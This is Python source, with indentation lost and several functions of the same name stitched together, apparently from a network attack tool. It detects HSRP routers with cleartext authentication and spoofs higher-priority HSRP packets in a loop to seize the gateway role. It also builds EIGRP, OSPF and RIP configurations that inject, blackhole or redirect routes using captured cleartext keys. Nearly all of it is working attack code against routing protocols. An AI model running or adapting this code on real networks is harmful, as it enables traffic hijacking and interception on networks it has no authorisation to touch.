def detect_if_vulnerable(packet):
if (packet.haslayer('HSRP')):
_, source_ip, _, destination_ip = protocol_parser.get_data_from_layer_two_and_three(
packet)
# HSRPv2 multicasts to a different IP
if (destination_ip == '224.0.0.102'):
bytes_packet = bytes_hex(packet[3])
state = int(bytes_packet[4 * 2:(4 * 2) + 1 * 2])
priority = int(bytes_packet[14 * 2:(14 * 2) + 4 * 2], 16)
group_state_length = int(bytes_packet[1 * 2:(1 * 2) + 1 * 2], 16)
auth_type = int(
bytes_packet[(group_state_length + 2) *
2:((group_state_length + 2) * 2) + 1 * 2], 16)
# Auth type 3 means that its in the clear.
if (auth_type == 3):
if (state == 6):
if (priority < 255):
return True
elif (ipaddress.IPv4Address(
utility.get_ip_address_from_interface(
user_var.interface)) >
ipaddress.IPv4Address(source_ip)):
return True
else:
return False
# HSRPv1
else:
if (packet.haslayer('HSRP MD5 Authentication')):
# MD5 authentication detected, at current moment nothing we can do about attacking this.
pass
else:
# A state with 16 means they are the master/active
if (packet['HSRP'].state == 16):
if (packet['HSRP'].priority < 255):
#Detected a vulnerable condition, HSRP packets have a priority of less than 254, authentication is cleartext.
#Actually, if you find the priority to be 254/max, there is still a chance to attack this. You will need to obtain a high IP address.
#Refer to priority definition within https://tools.ietf.org/html/rfc2281#section-5.7.
return True
#Check if our IP address is higher, then we still have a chance if max priority is used.
elif (ipaddress.IPv4Address(
utility.get_ip_address_from_interface(
user_var.interface)) >
ipaddress.IPv4Address(source_ip)):
return True
else:
return False
else:
# recieved a packet belonging to standby router, we can ignore.
# FIXME look at improving the filter to only get active packets
pass
else:
return False
def payload_hsrp_packet_v2(hsrp_packet):
payload_packet = Ether(dst=hsrp_packet.destination_mac)
payload_packet = payload_packet / IP(
src=utility.get_ip_address_from_interface(user_var.interface),
dst=hsrp_packet.destination_ip,
ttl=1)
payload_packet = payload_packet / UDP(sport=1985, dport=1985)
priority = hsrp_packet.priority
if (hsrp_packet.priority == 255):
pass
else:
priority = priority + 1
#Padded with 12 null bytes for IPv4.
payload_packet = payload_packet / (
struct.pack('B', 1) + struct.pack('B', 40) +
struct.pack('B', hsrp_packet.version) + struct.pack('B', 0) +
struct.pack('B', hsrp_packet.state) + struct.pack('B', 4) +
struct.pack('>H', hsrp_packet.group) +
bytearray.fromhex(hsrp_packet.identifier) + struct.pack(
'>I', priority) + struct.pack('>I', hsrp_packet.hello_interval) +
struct.pack('>I', hsrp_packet.dead_interval) +
struct.pack('>L', int(ipaddress.IPv4Address(hsrp_packet.virtual_ip))) +
(struct.pack('B', 0) * 12) + struct.pack('B', 3) + struct.pack('B', 8)
+ bytearray.fromhex(hsrp_packet.authentication.encode("utf-8").hex()) +
(struct.pack('B', 0) * (8 - len(hsrp_packet.authentication))))
return payload_packet
def send_hsrp_packet(hsrp_packet,count):
payload_packet = Ether(dst=hsrp_packet.destination_mac)
payload_packet = payload_packet / IP(src=utility.get_ip_address_from_interface(user_var.interface), dst=hsrp_packet.destination_ip, ttl=1)
payload_packet = payload_packet / UDP(sport=1985, dport=1985)
payload_packet = payload_packet / HSRP(hellotime=hsrp_packet.hello_interval, holdtime=hsrp_packet.dead_interval, priority=hsrp_packet.priority + 1, group=hsrp_packet.group, virtualIP=hsrp_packet.virtual_ip, auth=hsrp_packet.authentication)
prepare_environment(hsrp_packet)
# look into why it won't immediately stop.
if (count == 1):
sendp(payload_packet, iface=user_var.interface, loop=1, verbose=0, inter=hsrp_packet.hello_interval)
else:
sendp(payload_packet, iface=user_var.interface, count=count, verbose=0, inter=hsrp_packet.hello_interval)
clean_up()
def build_configurations(packet):
eigrpd_config = ''
eigrpd_config += '!\n'
eigrpd_config += 'router eigrp {}\n'.format(str(packet.asn))
eigrpd_config += ' network {}/32\n'.format(
utility.get_ip_address_from_interface(user_var.interface))
staticd_config = ''
pbrd_config = ''
if user_var.inject or user_var.redirect:
count = 0
eigrpd_config += ' redistribute static\n'
staticd_config += '!\n'
pbrd_config += '!\n'
pbrd_config += 'interface {}\n'.format(user_var.interface)
pbrd_config += ' pbr-policy PBRMAP\n'
for ip in user_var.ipaddress:
staticd_config += 'ip route {} Null0\n'.format(ip)
count += 1
pbrd_config += '!\n'
pbrd_config += 'pbr-map PBRMAP seq {}\n'.format(count)
pbrd_config += ' match dst-ip {}\n'.format(ip)
pbrd_config += ' set nexthop {}\n'.format(
utility.get_default_gateway())
for ip in user_var.redirectaddresses:
staticd_config += 'ip route {} Null0\n'.format(ip)
count += 1
pbrd_config += '!\n'
pbrd_config += 'pbr-map PBRMAP seq {}\n'.format(count)
pbrd_config += ' match dst-ip {}\n'.format(ip)
pbrd_config += ' set nexthop {}\n'.format(
utility.get_default_gateway())
eigrpd_config += '!\n'
staticd_config += '!\n'
pbrd_config += '!\n'
return eigrpd_config, staticd_config, pbrd_config
def payload_hsrp_packet_v1(hsrp_packet):
payload_packet = Ether(dst=hsrp_packet.destination_mac)
payload_packet = payload_packet / IP(
src=utility.get_ip_address_from_interface(user_var.interface),
dst=hsrp_packet.destination_ip,
ttl=1)
payload_packet = payload_packet / UDP(sport=1985, dport=1985)
priority = hsrp_packet.priority
if (hsrp_packet.priority == 255):
pass
else:
priority = priority + 1
payload_packet = payload_packet / HSRP(
hellotime=hsrp_packet.hello_interval,
holdtime=hsrp_packet.dead_interval,
priority=priority,
group=hsrp_packet.group,
virtualIP=hsrp_packet.virtual_ip,
auth=hsrp_packet.authentication)
return payload_packet
def build_configurations(packet):
ospfd_config = '!\n'
ospfd_config += 'interface {}\n'.format(user_var.interface)
ospfd_config += ' ip ospf hello-interval {}\n'.format(packet.hello_interval)
ospfd_config += ' ip ospf dead-interval {}\n'.format(packet.dead_interval)
if user_var.password:
ospfd_config += ' ip ospf authentication message-digest\n'
ospfd_config += ' ip ospf message-digest-key 1 md5 {}\n'.format(user_var.password)
elif packet.authtype == 1:
ospfd_config += ' ip ospf authentication-key {}\n'.format(packet.authdata)
ospfd_config += '!\n'
ospfd_config += 'router ospf\n'
ospfd_config += ' network {}/32 area {}\n'.format(utility.get_ip_address_from_interface(user_var.interface), packet.area_id)
if user_var.inject_local or user_var.redirect_local:
ospfd_config += ' network 172.17.0.0/16 area {}\n'.format(packet.area_id)
if user_var.password:
ospfd_config += ' area {} authentication message-digest\n'.format(packet.area_id)
elif packet.authtype == 1:
ospfd_config += ' area {} authentication\n'.format(packet.area_id)
staticd_config = ''
pbrd_config = ''
if user_var.inject or user_var.redirect:
count = 0
ospfd_config += ' redistribute static metric 0\n'
staticd_config += '!\n'
pbrd_config += '!\n'
pbrd_config += 'interface {}\n'.format(user_var.interface)
pbrd_config += ' pbr-policy PBRMAP\n'
for ip in user_var.ipaddress:
# FIXME look into ensuring CIDR is in there.
staticd_config += 'ip route {} Null0\n'.format(ip)
count += 1
pbrd_config += '!\n'
pbrd_config += 'pbr-map PBRMAP seq {}\n'.format(count)
pbrd_config += ' match dst-ip {}\n'.format(ip)
pbrd_config += ' set nexthop {}\n'.format(utility.get_default_gateway())
for ip in user_var.redirectaddresses:
# FIXME look into ensuring CIDR is in there.
staticd_config += 'ip route {} Null0\n'.format(ip)
count += 1
pbrd_config += '!\n'
pbrd_config += 'pbr-map PBRMAP seq {}\n'.format(count)
pbrd_config += ' match dst-ip {}\n'.format(ip)
pbrd_config += ' set nexthop {}\n'.format(utility.get_default_gateway())
ospfd_config += '!\n'
staticd_config += '!\n'
pbrd_config += '!\n'
return ospfd_config, staticd_config, pbrd_config
def build_configurations(packet):
ripd_config = ''
ripd_config += '!\n'
ripd_config += 'router rip\n'
ripd_config += ' network {}/32\n'.format(utility.get_ip_address_from_interface(user_var.interface))
if user_var.inject_local or user_var.redirect_local:
ripd_config += ' network 172.17.0.0/16\n'
ripd_config += ' version {}\n'.format(packet.version)
staticd_config = ''
pbrd_config = ''
if user_var.inject or user_var.redirect:
count = 0
# FIXME leaving this here for now
ripd_config += ' redistribute static\n'
staticd_config += '!\n'
pbrd_config += '!\n'
pbrd_config += 'interface {}\n'.format(user_var.interface)
pbrd_config += ' pbr-policy PBRMAP\n'
for ip in user_var.ipaddress:
# FIXME look into ensuring CIDR is in there.
staticd_config += 'ip route {} Null0\n'.format(ip)
count += 1
pbrd_config += '!\n'
pbrd_config += 'pbr-map PBRMAP seq {}\n'.format(count)
pbrd_config += ' match dst-ip {}\n'.format(ip)
pbrd_config += ' set nexthop {}\n'.format(utility.get_default_gateway())
for ip in user_var.redirectaddresses:
# FIXME look into ensuring CIDR is in there.
staticd_config += 'ip route {} Null0\n'.format(ip)
count += 1
pbrd_config += '!\n'
pbrd_config += 'pbr-map PBRMAP seq {}\n'.format(count)
pbrd_config += ' match dst-ip {}\n'.format(ip)
pbrd_config += ' set nexthop {}\n'.format(utility.get_default_gateway())
# if user_var.inject:
# # FIXME leaving this here for now
# ripd_config += ' redistribute static\n'
# staticd_config += '!\n'
# for ip in user_var.ipaddress:
# # FIXME look into ensuring CIDR is in there.
# staticd_config += 'ip route {} Null0\n'.format(ip)
ripd_config += '!\n'
staticd_config += '!\n'
#if packet.version == 2:
if packet.authentication_type == 2:
ripd_config += '!\n'
ripd_config += 'interface {}\n'.format(user_var.interface)
ripd_config += ' ip rip authentication mode text\n'
ripd_config += ' ip rip authentication string {}\n'.format(packet.password)
ripd_config += '!\n'
# FIXME: look into crypto
#elif packet.authentication_type == 3:
return ripd_config, staticd_config, pbrd_config